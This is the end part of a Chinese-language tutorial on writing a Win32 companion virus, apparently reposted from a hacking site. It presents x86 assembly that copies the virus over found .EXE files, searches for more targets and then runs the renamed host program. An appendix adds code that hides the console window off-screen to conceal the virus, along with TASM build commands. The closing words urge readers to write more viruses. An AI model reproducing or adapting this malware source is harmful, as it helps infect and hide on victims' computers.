网络安全 频道

怎么编写简单的Win32伴侣病毒

push 0     ;无条件复制
push offset WFD_szFileName
push offset VirusFile
call CopyFileA

;+++++
; 我们复制病毒为目标.EXE文件
; 无条件复制,因为我们不能有两个宿主而没有病毒
;+++++


push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

;+++++
; 你还记得我们保存FindHandle吧...
; 我们搜索更多的文件!
; 跳到FindNext并检查更多的文件
;+++++


RunHost:
xor eax,eax    ;null
push offset ProcessInfo   ;这个,我们不感兴趣
push offset StartupInfo   ;...
push eax
push eax
push 00000010h    ;创建进程
push eax
push eax
push eax
push offset HostFile
push offset HostFile   ;运行它
call CreateProcessA

;+++++
; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行
;+++++


push 0
call ExitProcess

;+++++
; 所有这些做完,我们把控制交给宿主
;+++++


GetPoint:
cmp byte ptr [esi],’.’   ;point?
jz FoundPoint    ;je return
inc esi     ;scan next place
jmp GetPoint
FoundPoint:
ret     ;return

;+++++
; at last the GetPoint procedure...
; scan for ’.’ and if found return to place where are called
;+++++


end start

;+++++
; 晚安
;+++++

;-----cut-----------------------------------------------------------------------------------


*** _4_ : 结束语 ***

嗯,教程完毕。现在你可以写Win32伴侣病毒了。继续写代码,不断学习...读Benny的文章,
你想坚持下去;)我们必须帮助病毒界在不久将来重放光芒!!!

向Benny/29A表示致谢- 是你用杰出的文章激发我写下这篇教程

谢谢阅读...



*** _666_ : 附加 [Fuck da Window] ***


下面给出一种隐藏病毒的简单方法(你知道...  控制台)
;-----cut-----FuckW.asm---------------------------------------------------------------------

.386
.model flat
jumps

;+++++
; bla bla bla
;+++++


extrn SetConsoleTitleA :PROC
extrn FindWindowA :PROC
extrn SetWindowPos :PROC
extrn Sleep  :PROC

;+++++
; needed API’s from the FuckWindow procedure
;+++++


extrn MessageBoxA :PROC
extrn ExitProcess :PROC

;+++++
; 这里是其他API
; 仅仅是显示它在工作,还有退出
;+++++


.data
oTitle   db ’Only to Show...’,0
oMsg   db ’See you a Window in the Back?’,10,13
   db ’No, thats good, hee?’,10,13
   db ’              DiA /auXnet’,0

;+++++
; 仅仅是摆下姿态 ;)
;+++++


NewConsoleTitle  db ’[ANVX]’,0
WindowHandle  dd 0

;+++++
; 这里是一个新的控制台标题(任何你想的...)
; 还有WindowHandle,用来保存句柄
;+++++


.code
start:

;+++++
; 这是你掌握的...
;+++++


call FuckWindow

;+++++
; 我们调用这个函数,首先快速隐藏窗体
;+++++


push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA

push 0
call ExitProcess

;+++++
; 在这时写下你的代码,任何你想写的...
;+++++


FuckWindow:    ;函数
push offset NewConsoleTitle
call SetConsoleTitleA

;+++++
; 这里是隐藏窗体的函数
; 首先我们认定一个新的控制台标题,我们知道窗体必须隐藏
;+++++


call Sleep5    ;过程

;+++++
; 短短的休眠(5 mil sek)它能更好地工作
;+++++


push offset NewConsoleTitle
push 0
call FindWindowA
mov dword ptr [WindowHandle],eax ;句柄

;+++++
; 往上看!我们定义一个新的控制台标题...
; 现在我们搜索窗体(NewConsoleTitle)并保存 WindowHandle
;+++++


call Sleep5

;+++++
; 休眠是很好的...
;+++++


push 0
push 1     ;窗体高度
push 1     ;窗体宽度
push 20000    ;Y
push 20000    ;X
push 0
push dword ptr [WindowHandle]
call SetWindowPos
ret

;+++++
; 通过SetWindowPos隐藏窗体
; 窗体的高和宽是1 (看不到了 :)
; 还有xy坐标是20000 . 在屏幕外面了 =)
; 返回...
;+++++


Sleep5:
push 5
call Sleep
ret

;+++++
; 容易, sleep 5mil sek
; 返回...
;+++++

end start

;-----cut-----------------------------------------------------------------------------------

...编译方法:
   TASM32 /z /ml /m3 YourProc,,;
   TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

效果-> 现在不是一个"控制台", 它运行在"窗体"下...
         完毕。查看TASM说明!


祝你好运...
继续写代码...
                                     _________________

                                     DiA /auXnet (c)02
http://www.hack58.net/Article/60/64/2006/8518.htm
0
相关文章